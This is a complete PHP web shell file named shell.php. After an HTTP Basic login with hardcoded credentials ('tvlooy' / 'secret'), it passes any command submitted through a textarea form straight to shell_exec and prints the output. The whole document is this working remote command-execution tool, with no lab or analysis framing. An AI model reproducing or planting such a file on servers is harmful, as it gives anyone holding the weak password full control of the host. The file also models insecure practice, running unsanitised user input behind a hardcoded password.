shell.php

<?php

if ($_SERVER['PHP_AUTH_USER'] !== 'tvlooy' ||
    $_SERVER['PHP_AUTH_PW'] !== 'secret'
) {
    header('WWW-Authenticate: Basic realm="Login required"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Access denied.';
    exit;
}

if (isset($_POST['payload'])) {
    echo
        '<pre style="color: #fff; padding: 10px; background: #000;">' .
        shell_exec($_POST['payload']) .
        '</pre>';
}
?>
<form method="post">
    <textarea
        name="payload"
        style="width: 100%"
        placeholder="your bash script"
        rows="20"></textarea>
    <br>
    <input type="submit" value="Run">
</form>